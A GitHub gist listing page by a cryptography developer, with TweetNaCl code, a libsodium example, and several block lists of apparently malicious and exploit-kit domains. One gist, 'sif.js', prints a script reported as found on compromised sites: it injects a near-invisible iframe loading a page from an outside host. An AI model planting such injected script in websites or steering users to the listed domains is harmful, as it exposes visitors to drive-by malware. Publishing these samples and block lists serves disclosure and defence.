Skip to content

Instantly share code, notes, and snippets.

View jedisct1's full-sized avatar

Frank Denis jedisct1

View GitHub Profile
@jedisct1
jedisct1 / tweetnacl.c
Last active December 20, 2015 00:39
@TweetNacl: The NaCl library in 100 tweets
#include "tweetnacl.h"
#define FOR(i,n) for (i = 0;i < n;++i)
#define sv static void
typedef unsigned char u8;typedef unsigned int u32;typedef unsigned long long u64;typedef long long i64;typedef i64 gf[16];extern void
randombytes(u8*,u64);static const u8 _0[16],_9[32]={9};static const gf gf0,gf1={1},_121665={0xDB41,1},D={0x78a3,0x1359,0x4dca,0x75eb,0xd8ab,
0x4141,0x0a4d,0x0070,0xe898,0x7779,0x4079,0x8cc7,0xfe73,0x2b6f,0x6cee,0x5203},D2={0xf159,0x26b2,0x9b94,0xebd6,0xb156,0x8283,0x149a,0x00e0,
0xd130,0xeef3,0x80f2,0x198e,0xfce7,0x56df,0xd9dc,0x2406},X={0xd51a,0x8f25,0x2d60,0xc956,0xa7b2,0x9525,0xc760,0x692c,0xdc5c,0xfdd6,0xe231,
0xc0a4,0x53fe,0xcd6e,0x36d3,0x2169},Y={0x6658,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,
0x6666,0x6666},I={0xa0b0,0x4a0e,0x1b27,0xc4ee,0xe478,0xad2f,0x1806,0x2f43,0xd7a7,0x3dfb,0x0099,0x2b4d,0xdf0b,0x4fc1,0x2480,0x2b83};static
u32 L32(u32 x,int c){return(x<<c)|(x>>(32-c));}static u32 ld32(const u8*x){u32 u=x[3];u=(u<<8)|x[2];u=(u<<8)|x[
@jedisct1
jedisct1 / tweetnacl-indented.c
Last active November 12, 2022 18:02
Indented version of @TweetNacl
#include "tweetnacl.h"
#define FOR(i,n) for (i = 0;i < n;++i)
#define sv static void
typedef unsigned char u8;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef long long i64;
typedef i64 gf[16];
@jedisct1
jedisct1 / block-that.txt
Created July 31, 2013 01:48
Block that
50plus-login.com
annot.pl
condalnua745746.ru
conddratatetotebehu47.net
exchangeunit.net
facebook.com.n.find-friends.oncologistoncology.net
firerice.com
fulty.net
goingtothestreetofive59.net
housesales.pl
@jedisct1
jedisct1 / 85.25.146.60.txt
Created August 1, 2013 21:48
Block all these things!
0.cm
10086.cm
126.cm
12licai.com
161.com.hk
1and1.cm
1h1.net
2outube.com
411.cm
4megauploadcom.com
@jedisct1
jedisct1 / crypto_secretbox_example.c
Created August 7, 2013 20:49
crypto_secretbox_example.c
#include <stdio.h>
#include <string.h>
#include <sodium.h>
#define PLAINTEXT "123456789"
#define PLAINTEXT_LEN (sizeof PLAINTEXT)
int main(void)
{
sodium_init();
@jedisct1
jedisct1 / sif.js
Created August 26, 2013 19:13
Found on indupolmaroc[.]com and indupol[.]ma
function yaf09() {
var static='ajax';
var controller='index.php';
var yaf = document.createElement('iframe');
yaf.src = 'http://d1018290.cp.irishdomains.com/Gbhqnvwg.php';
yaf.style.position = 'absolute';
yaf.style.color = '2';
yaf.style.height = '2px';
yaf.style.width = '2px';
@jedisct1
jedisct1 / soc2.txt
Last active December 22, 2015 04:48
Sweet Orange
acbejgiyj.sytes.net
adkccsm.sytes.net
aebgcph.sytes.net
afcwila.sytes.net
agbvfdga.sytes.net
agsbblhj.sytes.net
aitnaci.sytes.net
ajgcdcsnl.sytes.net
akedczv.sytes.net
akkcyasab.sytes.net
@jedisct1
jedisct1 / blockthat.txt
Created September 5, 2013 09:50
blockthat
1.teyso.net
15pcrepair.com
a.jo1aa22.com
a.tsroxyba9.com
awesomebigtits.com
bancoposteimpressaonline.com
dreamcash.org
f11.wapkafiles.com
f14.wapkafiles.com
general-world.com
@jedisct1
jedisct1 / so.txt
Created September 6, 2013 05:47
so
black.bonuszoom.com
blue.pizzashopkitchenz.com
green.celebrate4parties.com
green.oneaday4men.com
green.pizzashopkitchenz.com
orange.bonuszoom.com
orange.camelzoom.net
orange.celebrate4parties.com
pink.bonuszoom.com
pink.camelzoom.net
@jedisct1
jedisct1 / wolfram-alpha-person-curves.txt
Last active December 22, 2015 15:19
Partial list of Wolfram Alpha person curves
Example: http://www.wolframalpha.com/input/?i=50+Cent+curve
50 Cent curve
Abraham Lincoln curve
Adele curve
Adolf Hitler curve
Aisha Tyler curve
Alan Turing curve
first Albert Einstein curve
second Albert Einstein curve